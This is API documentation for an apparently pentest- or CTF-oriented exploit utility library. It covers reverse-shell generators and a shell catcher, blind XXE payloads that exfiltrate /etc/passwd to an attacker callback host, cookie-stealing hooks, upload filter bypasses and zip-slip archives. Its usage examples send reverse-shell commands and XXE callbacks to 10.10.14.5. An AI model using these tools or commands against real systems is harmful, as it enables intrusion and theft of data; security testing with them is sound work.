Utilities
All utility modules included in generated POC projects.
Reverse Shells
Reverse shell generation utilities for POCs. Quick and dirty shell generation for common scenarios.
- your_project.utils.reverse_shells.bash_encoded_shell(callback_host, callback_port=4444)[source]
Generate a base64-encoded bash reverse shell.
- Creates:
payloads/shells/rev_bash_b64.sh- Access via:
http://your-server:8000/shells/rev_bash_b64.sh- Returns:
shells/rev_bash_b64.sh(relative path)
- your_project.utils.reverse_shells.bash_shell(callback_host, callback_port=4444)[source]
Generate a basic bash reverse shell.
- Creates:
payloads/shells/rev_bash.sh- Access via:
http://your-server:8000/shells/rev_bash.sh- Returns:
shells/rev_bash.sh(relative path)
- your_project.utils.reverse_shells.nc_mkfifo_shell(callback_host, callback_port=4444)[source]
Generate a netcat reverse shell using mkfifo (for nc without -e).
- Creates:
payloads/shells/rev_nc_mkfifo.sh- Access via:
http://your-server:8000/shells/rev_nc_mkfifo.sh- Returns:
shells/rev_nc_mkfifo.sh(relative path)
- your_project.utils.reverse_shells.nc_shell(callback_host, callback_port=4444)[source]
Generate a netcat reverse shell.
- Creates:
payloads/shells/rev_nc.sh- Access via:
http://your-server:8000/shells/rev_nc.sh- Returns:
shells/rev_nc.sh(relative path)
- your_project.utils.reverse_shells.php_shell(callback_host, callback_port=4444)[source]
Generate a PHP reverse shell.
- Creates:
payloads/shells/rev_php.php- Access via:
http://your-server:8000/shells/rev_php.php- Returns:
shells/rev_php.php(relative path)
- your_project.utils.reverse_shells.powershell_oneliner(callback_host, callback_port=4444)[source]
Return a PowerShell reverse shell one-liner (not written to file).
- Creates:
Nothing (returns command string only)
- Returns:
PowerShell one-liner command string for direct execution
- your_project.utils.reverse_shells.powershell_shell(callback_host, callback_port=4444)[source]
Generate a PowerShell reverse shell.
- Creates:
payloads/shells/rev_powershell.ps1- Access via:
http://your-server:8000/shells/rev_powershell.ps1- Returns:
shells/rev_powershell.ps1(relative path)
Shell Catcher
Shell catcher utility for POCs. Catch reverse shells directly in your exploit script.
- class your_project.utils.shell_catcher.ShellCatcher(port, host='0.0.0.0')[source]
Bases:
objectSimple reverse shell catcher for POCs.
Examples
from utils.shell_catcher import ShellCatcher # Start listener in background catcher = ShellCatcher(4444) catcher.start() # Trigger your exploit here exploit_target() # Wait for shell and interact if catcher.wait_for_shell(timeout=10): catcher.interact()
- your_project.utils.shell_catcher.auto_shell(port=4444, wait_timeout=30)[source]
Context manager for shell catching with auto-wait.
Examples
with auto_shell(4444) as catcher: # Trigger exploit exploit_target() # Automatically waits for shell if catcher.shell_caught: catcher.send_command("id") catcher.interact()
- your_project.utils.shell_catcher.quick_catch(port=4444, trigger_func=None, trigger_delay=1)[source]
Quick helper to catch a shell with optional trigger function.
The trigger function should exploit the RCE vulnerability to make the target execute a reverse shell that connects back to your listener.
Examples
from your_project.utils.reverse_shells import python_oneliner def trigger(): # Send reverse shell command to vulnerable RCE endpoint cmd = python_oneliner('10.10.14.5', 4444) # This makes the TARGET execute the reverse shell requests.get(f"http://target.com/vulnerable?cmd={cmd}") quick_catch(4444, trigger_func=trigger) # Or without a trigger (if you trigger manually): quick_catch(4444) # Then trigger exploit separately
HTML Parser
HTML parsing utility for extracting data from web responses.
Example:
# Make a request to target
response = requests.get("http://target.com/login")
# Parse the HTML response
parser = HTMLParser.from_response(response)
# Find CSRF token for form submission
csrf_token = parser.find_csrf_token()
if csrf_token:
out.success(f"Found CSRF token: {csrf_token}")
- class your_project.utils.html_parser.HTMLParser(html)[source]
Bases:
object- Parameters:
html (str)
- css_select(selector)[source]
Select elements using CSS selector syntax.
- Parameters:
selector (str) – CSS selector string (e.g., ‘div.class’, ‘#id’, ‘form input[type=”hidden”]’)
- Returns:
List of matching Tag objects
Example
# Find all hidden inputs hidden = parser.css_select('input[type="hidden"]') # Find all links in navigation nav_links = parser.css_select('nav a')
- css_select_one(selector)[source]
Select first element matching CSS selector.
- Parameters:
selector (str) – CSS selector string
- Returns:
First matching Tag object or None
- dump_forms()[source]
Print all forms with their inputs and values (for debugging).
Useful for quick reconnaissance of form structures and hidden fields.
Example
# Quick form analysis parser = HTMLParser.from_response(response) parser.dump_forms() # Output: # Form 1: # Action: /login # Method: POST # username: # password: # csrf_token: abc123...
- dump_links()[source]
Print all links found in the HTML (for crawling/mapping).
Example
parser.dump_links() # Output: # Home: / # Admin Panel: /admin # Login: /login
- extract_form_data(form)[source]
Extract all input data from a form element.
Extracts names and values from input, textarea, and select elements, handling checkboxes, radio buttons, and default values properly.
- Parameters:
form – BeautifulSoup form Tag object
- Returns:
Dict mapping input names to their values
- Return type:
Example
form = parser.find_forms()[0] data = parser.extract_form_data(form) data['username'] = 'admin' # Update with your values requests.post(url, data=data)
- find_all_by_class(class_name)[source]
Find all elements with given class name.
- Parameters:
class_name (str) – The CSS class to search for
- Returns:
List of BeautifulSoup Tag objects
- find_all_by_id(element_id)[source]
Find all elements with given ID (invalid HTML but sometimes happens).
- Parameters:
element_id (str) – The ID attribute value to search for
- Returns:
List of BeautifulSoup Tag objects
- find_by_class(class_name)[source]
Find first element with given class name.
- Parameters:
class_name (str) – The CSS class to search for
- Returns:
BeautifulSoup Tag object or None
- find_by_id(element_id)[source]
Find first element with given ID.
- Parameters:
element_id (str) – The ID attribute value to search for
- Returns:
BeautifulSoup Tag object or None
- find_csrf_token()[source]
Find CSRF token in the HTML (checks common locations and names).
Searches for CSRF tokens in: - Meta tags with common CSRF names - Input fields with common CSRF names - Hidden input fields containing ‘csrf’ or ‘token’
- Returns:
CSRF token value if found, None otherwise
- Return type:
str | None
Example
parser = HTMLParser.from_response(response) csrf = parser.find_csrf_token() if csrf: form_data = {'csrf_token': csrf, 'username': 'admin'} requests.post(url, data=form_data)
- find_forms()[source]
Find all form elements in the HTML.
- Returns:
List of form Tag objects
- Return type:
- find_inputs(form=None)[source]
Find all input elements, optionally within a specific form.
- Parameters:
form – Optional form element to search within
- Returns:
List of input Tag objects
- Return type:
- find_links()[source]
Find all links (anchor tags with href).
- Returns:
List of anchor Tag objects with href attributes
- Return type:
- classmethod from_file(filepath)[source]
Create parser from HTML file.
- Parameters:
filepath (str) – Path to HTML file
- Returns:
HTMLParser instance initialized with file contents
- your_project.utils.html_parser.parse_file(filepath)[source]
Quick helper to create parser from HTML file.
- Parameters:
filepath (str) – Path to HTML file
- Returns:
HTMLParser instance
- Return type:
- your_project.utils.html_parser.parse_response(response)[source]
Quick helper to create parser from requests Response.
- Parameters:
response – requests.Response object
- Returns:
HTMLParser instance
- Return type:
Example
resp = requests.get("http://target.com") parser = parse_response(resp) csrf = parser.find_csrf_token()
Encoding
Common encoding/decoding utilities for POCs.
Quick reference for encoding payloads, bypassing filters, and hashing credentials.
Example
from your_project.utils.encoding import base64_encode, url_encode, md5
# Encode SQL injection payload
payload = "admin' OR '1'='1"
encoded = base64_encode(payload) # For Authorization headers, etc.
# Double encode for filter bypass
from your_project.utils.encoding import double_url_encode
bypass = double_url_encode("../../../etc/passwd")
# Hash stolen password
password_hash = md5("password123")
- your_project.utils.encoding.base64_decode(data)[source]
Base64 decode string.
- Parameters:
data – Base64 encoded string or bytes
- Returns:
Decoded string
Example
base64_decode("YWRtaW46cGFzc3dvcmQ=")→"admin:password"
- your_project.utils.encoding.base64_encode(data)[source]
Base64 encode string or bytes.
- Parameters:
data – String or bytes to encode
- Returns:
Base64 encoded string
Example
base64_encode("admin:password")→"YWRtaW46cGFzc3dvcmQ="
- your_project.utils.encoding.char_codes(data)[source]
Convert to JavaScript char codes.
Useful for XSS payloads with String.fromCharCode().
- Parameters:
data – String to convert
- Returns:
Comma-separated character codes
Example
char_codes("alert")→"97,108,101,114,116"
- your_project.utils.encoding.double_url_encode(data)[source]
Double URL encode string for filter bypasses.
Useful when the application decodes input once but processes it twice.
- Parameters:
data – String to double encode
- Returns:
Double URL encoded string
Example
double_url_encode("../")→"%252E%252E%252F"
- your_project.utils.encoding.hash_file(filepath, algorithm='sha256')[source]
Hash a file with specified algorithm
- your_project.utils.encoding.hex_decode(data)[source]
Hex decode string.
- Parameters:
data – Hexadecimal string
- Returns:
Decoded string
Example
hex_decode("414243")→"ABC"
- your_project.utils.encoding.hex_encode(data)[source]
Hex encode string or bytes.
- Parameters:
data – String or bytes to encode
- Returns:
Hexadecimal string
Example
hex_encode("ABC")→"414243"
- your_project.utils.encoding.html_decode(data)[source]
HTML entity decode string.
- Parameters:
data – HTML entity encoded string
- Returns:
Decoded string
Example
html_decode("<script>")→"<script>"
- your_project.utils.encoding.html_encode(data)[source]
HTML entity encode string for XSS prevention.
- Parameters:
data – String to encode
- Returns:
HTML entity encoded string
Example
html_encode("<script>")→"<script>"
- your_project.utils.encoding.md5(data)[source]
MD5 hash string or bytes.
Common for older password hashes and checksums.
- Parameters:
data – String or bytes to hash
- Returns:
MD5 hex digest (32 characters)
Example
md5("password123")→"482c811da5d5b4bc6d497ffa98491e38"
- your_project.utils.encoding.sha1(data)[source]
SHA1 hash string or bytes.
- Parameters:
data – String or bytes to hash
- Returns:
SHA1 hex digest (40 characters)
Example
sha1("password123")→"aafdc23870ecbcd3d557b6423a8982134e17927e"
- your_project.utils.encoding.sha256(data)[source]
SHA256 hash string or bytes.
Modern standard for password hashing and signatures.
- Parameters:
data – String or bytes to hash
- Returns:
SHA256 hex digest (64 characters)
Example
sha256("password123")→"ef92b778bafe771e8978...e5f29cb75"(truncated)
- your_project.utils.encoding.sha512(data)[source]
SHA512 hash string or bytes.
- Parameters:
data – String or bytes to hash
- Returns:
SHA512 hex digest (128 characters)
- your_project.utils.encoding.unicode_encode(data)[source]
Unicode encode string for filter bypasses.
Converts string to JavaScript unicode escape sequences.
- Parameters:
data – String to encode
- Returns:
Unicode escaped string
Example
unicode_encode("<script>")→"\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e"
Output
Simple colored output utilities for POCs.
This module provides colored console output to make POC execution more readable and easier to debug. Use instead of print() statements.
- class your_project.utils.output.Output[source]
Bases:
objectSimple colored output for POCs.
Provides static methods for different types of console messages with color coding and prefixes for better visibility.
- static debug(msg)[source]
Print a debug message in magenta with [DEBUG] prefix.
Only prints if verbose mode is enabled via Output.set_verbose(True).
- Parameters:
msg – Debug message to display
Examples
Output.set_verbose(True) out.debug("Response: 200 OK") # Output: [DEBUG] Response: 200 OK (in magenta) Output.set_verbose(False) out.debug("This won't print") # (no output)
- static error(msg)[source]
Print an error message in red with [-] prefix.
- Parameters:
msg – Error message to display
Examples
out.error("Connection failed") # Output: [-] Connection failed (in red)
- static info(msg)[source]
Print an info message in blue with [*] prefix.
- Parameters:
msg – Info message to display
Examples
out.info("Starting exploit") # Output: [*] Starting exploit (in blue)
- static raw(msg, color=None)[source]
Print a message with no prefix and optional color.
- Parameters:
msg – Message to print
color – Optional colorama color (e.g., Fore.RED)
Examples
out.raw("Plain text") # Output: Plain text out.raw("Colored text", Fore.MAGENTA) # Output: Colored text (in magenta)
- classmethod set_verbose(enabled)[source]
Enable or disable verbose (debug) output.
- Parameters:
enabled (bool) – True to show debug messages, False to hide them
Examples
from utils.output import Output Output.set_verbose(True) out.debug("This will now be visible")
- static status(msg)[source]
Print a status message in cyan with […] prefix.
- Parameters:
msg – Status message to display
Examples
out.status("Extracting data...") # Output: [...] Extracting data... (in cyan)
- static success(msg)[source]
Print a success message in green with [+] prefix.
- Parameters:
msg – Message to display
Examples
out.success("Target is vulnerable!") # Output: [+] Target is vulnerable! (in green)
- verbose = False
Server Hooks
Simple utilities for interacting with the http server’s event queue. Use this from your exploit to get cookies and other events.
- your_project.utils.server_hooks.drain_queue(server='http://localhost:8000')[source]
Clear all pending events from the queue. Useful for starting fresh before a new exploit attempt.
- your_project.utils.server_hooks.get_cookie(server='http://localhost:8000', timeout=30)[source]
Pop next cookie from server queue.
Returns just the cookie data string or None if timeout/no cookie. Will wait up to timeout seconds for a cookie to arrive.
- your_project.utils.server_hooks.get_event(server='http://localhost:8000', timeout=30, wait=False)[source]
Pop next event from the server queue.
Returns the event dict or None if timeout/empty. If wait=True, will poll until event arrives or timeout.
- your_project.utils.server_hooks.get_exfil(server='http://localhost:8000', timeout=30)[source]
Pop next exfiltrated data from server queue (for XXE, SSRF, etc).
Returns just the exfil data string or None if timeout/no data. Will wait up to timeout seconds for data to arrive.
- your_project.utils.server_hooks.wait_for_callback(server='http://localhost:8000', timeout=30, param='cookie')[source]
Wait for a specific callback type to arrive.
Examples
# Send XSS payload send_payload(xss) # Wait for cookie to arrive cookie = wait_for_callback(timeout=10) if cookie: print(f"Got cookie: {cookie}")
XSS Payloads
XXE Payloads
XXE (XML External Entity) payload generator for quick POC development
XXE Primer:
XXE attacks exploit XML parsers that process external entity references. Think of it as “XML includes” that can read files or make requests.
Two main types:
Basic XXE: File content appears in response (use
basic_file_read())Blind XXE: No direct output, exfiltrate via callbacks (use
blind_oob())
For blind XXE you need:
A payload to send to target (tells target to fetch your DTD)
A DTD file on YOUR server (tells target what file to steal)
Your server running to capture the stolen data
Quick start:
# Generate everything
xxe, dtd = generate_oob_files("http://10.10.14.5:8000")
# Send payload to target
payload = quick_test("http://10.10.14.5:8000")
requests.post("http://vulnerable/api", data=payload)
# Get the stolen data
from utils.server_hooks import get_exfil
data = get_exfil()
- your_project.utils.xxe.basic_file_read(file_path='/etc/passwd', entity_name='xxe')[source]
Basic XXE to read local files - SIMPLE but often BLOCKED
This is the simplest XXE attack. The file content appears directly in the XML response.
Use this when:
The app returns/displays the parsed XML
The app shows error messages with entity content
You’re testing if XXE works at all
Won’t work if:
The app doesn’t return XML content (blind XXE)
File has special characters that break XML
File is too large
Firewall blocks file:// protocol
For blind scenarios, use
blind_oob()instead.- Parameters:
- Returns:
Simple XXE payload - file content appears in response
- Return type:
Examples
payload = basic_file_read("/etc/passwd") # If vulnerable, response will contain passwd file
- your_project.utils.xxe.blind_oob(base_url, file_path='/etc/passwd', dtd_path='xxe/xxe.dtd')[source]
Blind XXE with out-of-band (OOB) exfiltration via external DTD
This is the MAIN payload you send to the vulnerable target. It tells the target’s XML parser to fetch your malicious DTD file from YOUR server.
How it works:
Target parses this XML → sees external DTD reference
Target fetches DTD from YOUR server (
base_url/xxe/xxe.dtd)DTD contains instructions to read local file and send to you
Target’s data gets exfiltrated to your server
- Parameters:
- Returns:
XML payload to send to the vulnerable target
- Return type:
Examples
payload = blind_oob("http://10.10.14.5:8000") # Send this payload to the target's XML endpoint
- your_project.utils.xxe.docx_xxe(base_url, dtd_path='xxe/xxe.dtd')[source]
XXE payload for DOCX files (goes in word/document.xml)
- your_project.utils.xxe.expect_wrapper(command='id')[source]
XXE using PHP expect wrapper (requires PHP expect module)
- your_project.utils.xxe.generate_oob_files(base_url, file_path='/etc/passwd')[source]
Generate BOTH files needed for blind XXE attack - convenient helper!
Blind XXE requires TWO things:
XXE payload → You send this to the target
DTD file → Automatically written to
payloads/xxe/xxe.dtd
Complete attack flow:
┌─────────────────────────────────────────────────┐ │ 1. You run: generate_oob_files("http://IP:8000") │ │ Creates: payloads/xxe/oob-xxe.xml │ │ Creates: payloads/xxe/xxe.dtd │ │ │ │ 2. Start your server: python servers/server.py │ │ (This serves the xxe.dtd file) │ │ │ │ 3. Send oob-xxe.xml content to target's XML API │ │ │ │ 4. Target processes XML → fetches your xxe.dtd │ │ → reads local file → sends to your server │ │ │ │ 5. Check your server logs or use get_exfil() │ └─────────────────────────────────────────────────┘- Parameters:
- Returns:
(xxe_payload_path, dtd_file_path)xxe_payload_path: Send this content to target
dtd_file_path: Automatically served from your server
- Return type:
Tuple
Examples
# Generate everything xxe, dtd = generate_oob_files("http://10.10.14.5:8000") # Read and send the XXE payload with open(f"payloads/{xxe}") as f: payload = f.read() requests.post("http://target/api", data=payload) # Get the stolen data data = get_exfil()
- your_project.utils.xxe.oob_dtd(base_url, file_path='/etc/passwd', filename='xxe.dtd')[source]
Generate AND write the external DTD file to payloads/xxe/
This DTD file MUST be served from your web server for blind XXE to work. So we automatically write it to the correct location!
The DTD contains instructions to:
Read the local file from the target system
Send that file content back to your server
- Parameters:
- Returns:
Relative path where DTD was written (e.g.,
xxe/xxe.dtd)- Return type:
Note
%is XML entity for%- prevents premature parsingExamples
# Automatically writes to payloads/xxe/xxe.dtd dtd_path = oob_dtd("http://10.10.14.5:8000", "/etc/passwd") # DTD is now ready to be served!
- your_project.utils.xxe.parameter_entity(base_url, file_path='/etc/passwd')[source]
XXE using parameter entities - self-contained blind XXE (no external DTD needed!)
This is clever: instead of hosting a DTD file, we embed it using data: URI. Everything happens in one payload - no need to serve files!
Use this when: - You can’t/don’t want to host a DTD file - Firewall blocks outbound HTTP but allows file:// protocol - You want a self-contained attack
- Parameters:
- Returns:
Self-contained XXE payload with embedded DTD
- Return type:
Examples
payload = parameter_entity("http://10.10.14.5:8000") # One payload does everything - no DTD file needed!
- your_project.utils.xxe.php_filter_b64(file_path='/etc/passwd')[source]
XXE using PHP filter wrapper - reads files as base64 (PHP targets only!)
Why base64? Some files contain characters that break XML parsing: - Binary files (images, executables) - Files with < > & characters - Files with null bytes
Base64 encoding makes ANY file safe to include in XML. You’ll need to base64 decode the result to get the actual file.
Only works if: - Target is PHP application - PHP has filter wrapper enabled (usually is)
- Parameters:
file_path (str) – File to read (will be base64 encoded)
- Returns:
XXE payload using PHP filter wrapper
- Return type:
Examples
payload = php_filter_b64("/var/www/config.php") # Response will contain base64 encoded file # Decode with: base64.b64decode(response_text)
- your_project.utils.xxe.quick_test(base_url, file_path='/etc/passwd')[source]
Quick XXE test - sets up everything and returns payload
This is the FASTEST way to test XXE: 1. Automatically creates the DTD file 2. Returns the XXE payload ready to send
Perfect for quick testing when you just found an XML endpoint.
- Parameters:
base_url (str) – Your server URL (e.g., http://10.10.14.5:8000)
file_path (str) – File to steal (default: /etc/passwd)
- Returns:
XXE payload string to send to target
- Return type:
Examples
# One function does everything! payload = quick_test("http://10.10.14.5:8000") # DTD is written, payload is ready - just send it: requests.post("http://target/api", data=payload) # Get the result: print(get_exfil())
- your_project.utils.xxe.svg_xxe(base_url, file_path='/etc/passwd')[source]
XXE in SVG format - useful for upload/image processors
- your_project.utils.xxe.utf7_bypass(file_path='/etc/passwd')[source]
XXE using UTF-7 encoding to bypass filters
Timing
Time utilities for POCs - timestamp generation, timing attacks, etc.
- your_project.utils.timing.date_to_timestamp(date_str, ms=False)[source]
Convert date string to epoch timestamp
- Parameters:
date_str – String like ‘2024-01-01 00:00:00’
ms – True to return milliseconds
- your_project.utils.timing.epoch_ms_now()[source]
Current epoch time in milliseconds. Use for millisecond-precision timestamps.
- your_project.utils.timing.epoch_now()[source]
Current epoch time in seconds. Use for second-precision timestamps.
- your_project.utils.timing.epoch_range(start_date, end_date, step_minutes=1)[source]
Generate range of epoch timestamps between two dates
- Parameters:
start_date – String like ‘2024-01-01 00:00:00’ or epoch timestamp (int/float)
end_date – String like ‘2024-01-01 23:59:59’ or epoch timestamp (int/float)
step_minutes – Minutes between each timestamp
- Returns:
List of epoch timestamps
- your_project.utils.timing.epoch_range_ms(start_ms, end_ms)[source]
Generate all millisecond timestamps between start and end
- Parameters:
start_ms – Start timestamp in milliseconds (int)
end_ms – End timestamp in milliseconds (int)
- Returns:
List of all millisecond timestamps in range
- your_project.utils.timing.http_date_to_epoch_ms(http_date)[source]
Convert HTTP Date header to epoch milliseconds
- Parameters:
http_date – HTTP date string (RFC 2822 format) e.g., ‘Sun, 05 Oct 2025 02:43:25 GMT’
- Returns:
Epoch timestamp in milliseconds
- your_project.utils.timing.identify_timestamp(value)[source]
Identify timestamp type and suggest generation function
- Parameters:
value – Integer or string timestamp to identify
- Returns:
Dict with type info and suggested function
- your_project.utils.timing.measure_time(func, *args, **kwargs)[source]
Measure execution time of a function in seconds
- Usage:
duration = measure_time(requests.get, url, timeout=10)
File Upload
File upload utilities for multipart/form-data requests
- class your_project.utils.file_upload.FileUploader(session=None)[source]
Bases:
objectWrapper for handling file uploads with multipart/form-data
- Parameters:
session (Session | None)
- upload(url, file_content, filename, file_field_name='file', content_type=None, additional_fields=None, **kwargs)[source]
Upload a file using multipart/form-data
- Parameters:
url (str) – Target URL for the upload
filename (str) – Name of the file (can include encoded characters like %00)
file_field_name (str) – Form field name for the file (default: “file”)
content_type (str | None) – MIME type of the file (default: auto-detect)
additional_fields (Dict[str, str] | None) – Additional form fields to include
**kwargs – Additional arguments to pass to requests
- Returns:
Response object from the upload request
- Return type:
- upload_from_path(url, file_path, custom_filename=None, file_field_name='file', content_type=None, additional_fields=None, **kwargs)[source]
Upload a file from disk
- Parameters:
url (str) – Target URL for the upload
custom_filename (str | None) – Custom filename to use (default: actual filename)
file_field_name (str) – Form field name for the file
content_type (str | None) – MIME type of the file (default: auto-detect)
additional_fields (Dict[str, str] | None) – Additional form fields
**kwargs – Additional arguments to pass to requests
- Returns:
Response object from the upload request
- Return type:
- upload_with_bypass(url, file_content, filename, bypass_technique=None, file_field_name='file', additional_fields=None, **kwargs)[source]
Upload a file with various bypass techniques
- Parameters:
url (str) – Target URL for the upload
filename (str) – Base filename
bypass_technique (str | None) – Technique to use (‘null_byte’, ‘double_extension’, ‘case_variation’, ‘mime_mismatch’)
file_field_name (str) – Form field name for the file
additional_fields (Dict[str, str] | None) – Additional form fields
**kwargs – Additional arguments to pass to requests
- Returns:
Response object from the upload request
- Return type:
Batch Requests
Batch request utility for sending multiple HTTP requests with different parameters.
- class your_project.utils.batch_request.BatchResult(payload, response, matched, error=None, cookies=None)[source]
Bases:
objectResult from a single request in the batch.
- Parameters:
- async your_project.utils.batch_request.batch_request(base_request, payloads, validate, concurrency=10, timeout=10.0, show_progress=True, proxy=None, filter_matched=False, drop_response=False, stop_on_match=False, **client_kwargs)[source]
Send multiple HTTP requests using a base request as template.
- Parameters:
base_request (httpx.Request) – Base httpx.Request to use as template
payloads (Iterator[Dict[str, Any]]) – Iterator of kwargs dicts to override the base request
validate (Callable[[httpx.Response], bool]) – Function to check if response matches criteria
concurrency (int) – Max concurrent requests (default: 10)
timeout (float) – Request timeout in seconds (default: 10.0)
show_progress (bool) – Print successful matches (default: True)
proxy (str | None) – HTTP proxy URL (e.g., “http://127.0.0.1:8080”)
filter_matched (bool) – Only return results where validate() is True (default: False)
drop_response (bool) – Don’t store response object to save memory (default: False)
stop_on_match (bool) – Stop sending requests after first match (default: False)
**client_kwargs – Additional kwargs for httpx.AsyncClient
- Returns:
List of BatchResult objects (only matched if filter_matched=True)
- Return type:
Examples
# Build base request with all common parameters client = httpx.Client() base = client.build_request( "POST", "http://target/api/login", json={"username": "test", "password": "test"}, headers={"X-API-Key": "secret"} ) # Fuzz just the username field results = await batch_request( base, payloads=[ {"json": {"username": "admin", "password": "test"}}, {"json": {"username": "root", "password": "test"}}, ], validate=lambda r: r.status_code == 200, proxy="http://127.0.0.1:8080", # Send through Burp filter_matched=True, # Only return successful logins drop_response=True # Save memory for large scans )
- your_project.utils.batch_request.batch_request_sync(base_request, payloads, validate, **kwargs)[source]
Synchronous wrapper for batch_request.
Examples
client = httpx.Client() base = client.build_request( "POST", "http://target/login", json={"username": "test", "password": "test"} ) results = batch_request_sync( base, payloads=generate_json_payloads("username", ["admin", "root", "test"]), validate=lambda r: "dashboard" in r.text, proxy="http://127.0.0.1:8080" # Optional: route through Burp )
- your_project.utils.batch_request.generate_cookie_payloads(name, values, base_cookies=None)[source]
Generate payloads for testing different cookie values.
Examples
payloads = generate_cookie_payloads("session", ["admin", "guest", "' OR '1'='1"])
- your_project.utils.batch_request.generate_data_payloads(field, values, base_data=None)[source]
Generate payloads for testing different form data values.
Examples
payloads = generate_data_payloads("password", ["admin", "password", "123456"]) payloads = generate_data_payloads("user", sqli_payloads, base_data={"pass": "test"})
- your_project.utils.batch_request.generate_header_payloads(header, values, base_headers=None)[source]
Generate payloads for testing different header values.
Examples
payloads = generate_header_payloads("X-Forwarded-For", ["127.0.0.1", "localhost", "192.168.1.1"]) payloads = generate_header_payloads("Authorization", [f"Bearer {token}" for token in tokens])
- your_project.utils.batch_request.generate_json_payloads(field, values, base_json=None)[source]
Generate payloads for testing different JSON field values.
Examples
payloads = generate_json_payloads("username", ["admin", "root", "test"]) payloads = generate_json_payloads("role", ["user", "admin"], base_json={"active": True})
- your_project.utils.batch_request.generate_method_payloads(methods)[source]
Generate payloads for testing different HTTP methods.
Examples
payloads = generate_method_payloads(["GET", "POST", "PUT", "DELETE", "OPTIONS"]) results = batch_request_sync( base, payloads=payloads, validate=lambda r: r.status_code != 405 )
- your_project.utils.batch_request.generate_multi_payloads(payloads_dict, base_kwargs=None)[source]
Generate payloads for multiple positions (like Burp Pitchfork).
Examples
payloads = generate_multi_payloads({ "data": [{"user": "admin", "pass": "admin"}, {"user": "root", "pass": "root"}], "headers": [{"X-Token": "abc"}, {"X-Token": "xyz"}] })
- your_project.utils.batch_request.generate_param_payloads(name, values, base_params=None)[source]
Generate payloads for testing different URL parameter values.
Examples
client = httpx.Client() base = client.build_request("GET", "http://target/api", params={"page": 1}) payloads = generate_param_payloads("id", range(1, 100)) results = batch_request_sync(base, payloads, validate=lambda r: r.status_code == 200)
- your_project.utils.batch_request.generate_path_payloads(paths, base_url=None)[source]
Generate payloads for testing different URL paths.
Examples
# Test different API endpoints payloads = generate_path_payloads([ "/api/v1/users", "/api/v2/users", "/api/users", "/.git/config" ]) # Or with base URL payloads = generate_path_payloads( ["1", "2", "999999", "../admin"], base_url="http://target/api/users/" )
Apache Hooks
Apache log parsing utilities.
Use this when you need to read callbacks from Apache logs instead of the built-in server.
Parses Apache access.log for both query and path parameters:
Query parameters:
/?cookie=dataor/?exfil=dataPath parameters:
/cookie/dataor/exfil/data
Works similarly to server_hooks.py but reads from log files.
- your_project.utils.apache_hooks.find_param_in_logs(log_file, param_name, timeout=30)[source]
Search Apache logs for a specific parameter (query or path-based). Returns the MOST RECENT occurrence (last match in file).
Searches for both:
Query parameters:
?param_name=valueor¶m_name=valuePath parameters:
/param_name/value
- your_project.utils.apache_hooks.get_cookie(log_file='/var/log/apache2/access.log', timeout=30)[source]
Get cookie value from Apache logs.
Supports both query and path parameters:
Query:
/?cookies=valueor/?cookie=valuePath:
/cookie/value
- your_project.utils.apache_hooks.get_exfil(log_file='/var/log/apache2/access.log', timeout=30)[source]
Get exfiltrated data from Apache logs.
Supports both query and path parameters:
Query:
/?exfil=valuePath:
/exfil/value
- your_project.utils.apache_hooks.get_param(param_name, log_file='/var/log/apache2/access.log', timeout=30)[source]
Get any custom parameter from Apache logs.
- your_project.utils.apache_hooks.parse_apache_line(line)[source]
Parse Apache combined log format line.
Example line:
::1 - - [13/Oct/2025:13:20:01 -0700] "GET /?cookies=test HTTP/1.1" 200 3454 "-" "Mozilla/5.0..."
- Returns:
timestamp, method, path, query_params, path_params, status. Also extracts path-based parameters like
/cookie/dataor/exfil/data- Return type:
dict with
- Parameters:
line (str)
- your_project.utils.apache_hooks.tail_log(log_file, start_pos=None)[source]
Read new lines from log file since last position.
Returns: (new_lines, new_position)
Network
- your_project.utils.network.get_callback_host()[source]
Get the best callback host address (prefer tun0).
Paths
Path utilities for POC projects. Provides consistent access to project directories.
- your_project.utils.paths.ensure_dirs_exist()[source]
Create all required directories if they don’t exist.
- your_project.utils.paths.get_log_file(filename='server.ndjson')[source]
Get the absolute path to a log file.
- your_project.utils.paths.get_payloads_dir()[source]
Get the absolute path to the payloads directory.
Process
Simple process execution for POCs
- your_project.utils.process.run(cmd, timeout=30, input_data=None)[source]
Run a command and return output
- Parameters:
cmd – Command string or list
timeout – Timeout in seconds
input_data – Optional stdin data
- Returns:
(stdout, stderr, returncode)
Examples
# Run simple command stdout, stderr, code = run("echo 'test'") # Run with arguments stdout, stderr, code = run(["./exploit", "target.com", "1337"]) # Send input to stdin stdout, stderr, code = run("./vulnapp", input_data=payload) # Check success stdout, stderr, code = run("./exploit") if code == 0: print(f"Success: {stdout}") else: print(f"Failed: {stderr}")
Zip Utilities
Simple zip utilities for POC projects. Quick and dirty functions for zipping files and folders.
- Note: All functions return Path objects (from pathlib).
Path objects work directly with most APIs expecting strings
To convert to string: str(zip_path)
- Examples: zip_path = zip_file(‘test.txt’) # Returns Path
path_str = str(zip_path) # Convert to string
- your_project.utils.zip_util.extract_zip(zip_path, extract_to=None)[source]
Extract a zip file (bonus utility).
- Parameters:
zip_path – Path to the zip file
extract_to – Where to extract (defaults to current dir)
- Returns:
Path to extraction directory or None
Examples
extract_zip('data.zip') extract_zip('archive.zip', '/tmp/extracted/')
- your_project.utils.zip_util.quick_zip(path, output=None)[source]
Quick helper - automatically detects if path is file or folder and zips it.
- Parameters:
path – Path to file or folder
output – Output zip path (optional)
- Returns:
Path to created zip file or None
Examples
quick_zip('/etc/passwd') quick_zip('../important_stuff/')
- your_project.utils.zip_util.zip_file(file_path, output_path=None, name_in_zip=None)[source]
Zip a single file (can be from another directory).
- Parameters:
file_path – Path to the file to zip (str or Path)
output_path – Where to save the zip (defaults to file_name.zip in current dir)
name_in_zip – Name of file inside the zip (defaults to filename only) Can include path traversal for zip slip: ‘../../../etc/crontab’ Maps to ‘arcname’ parameter in zipfile library
- Returns:
Path to the created zip file
Examples
zip_file('/etc/passwd', 'stolen_passwd.zip') zip_file('../secret.txt') # Creates secret.zip in current dir # Zip slip - file extracts to ../../../evil.sh zip_file('payload.sh', 'malicious.zip', name_in_zip='../../../evil.sh')
- your_project.utils.zip_util.zip_folder(folder_path, output_path=None)[source]
Zip an entire folder (recursively).
- Parameters:
folder_path – Path to the folder to zip (str or Path)
output_path – Where to save the zip (defaults to folder_name.zip)
- Returns:
Path to the created zip file
Examples
zip_folder('/home/user/documents', 'exfil_docs.zip') zip_folder('../sensitive_data/') # Creates sensitive_data.zip
- your_project.utils.zip_util.zip_multiple(paths, output_path='archive.zip', names_in_zip=None)[source]
